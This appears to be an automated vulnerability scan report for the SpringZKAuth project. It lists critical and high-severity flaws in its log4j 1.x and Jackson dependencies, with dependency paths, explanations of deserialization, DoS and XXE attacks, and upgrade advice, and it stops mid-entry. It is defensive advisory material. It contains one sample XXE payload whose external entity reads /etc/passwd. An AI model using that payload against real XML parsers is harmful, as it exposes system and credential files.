Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. A flaw was found in FasterXML Jackson Databind, where it does not have entity expansion secured properly in the DOMDeserializer class. The highest threat from this vulnerability is data integrity.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.7, 2.10.5.1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.pastdev.httpcomponents.configuration.JndiConfiguration.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to the class ignite-jta.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.PerUserPoolDataSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.SharedPoolDataSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
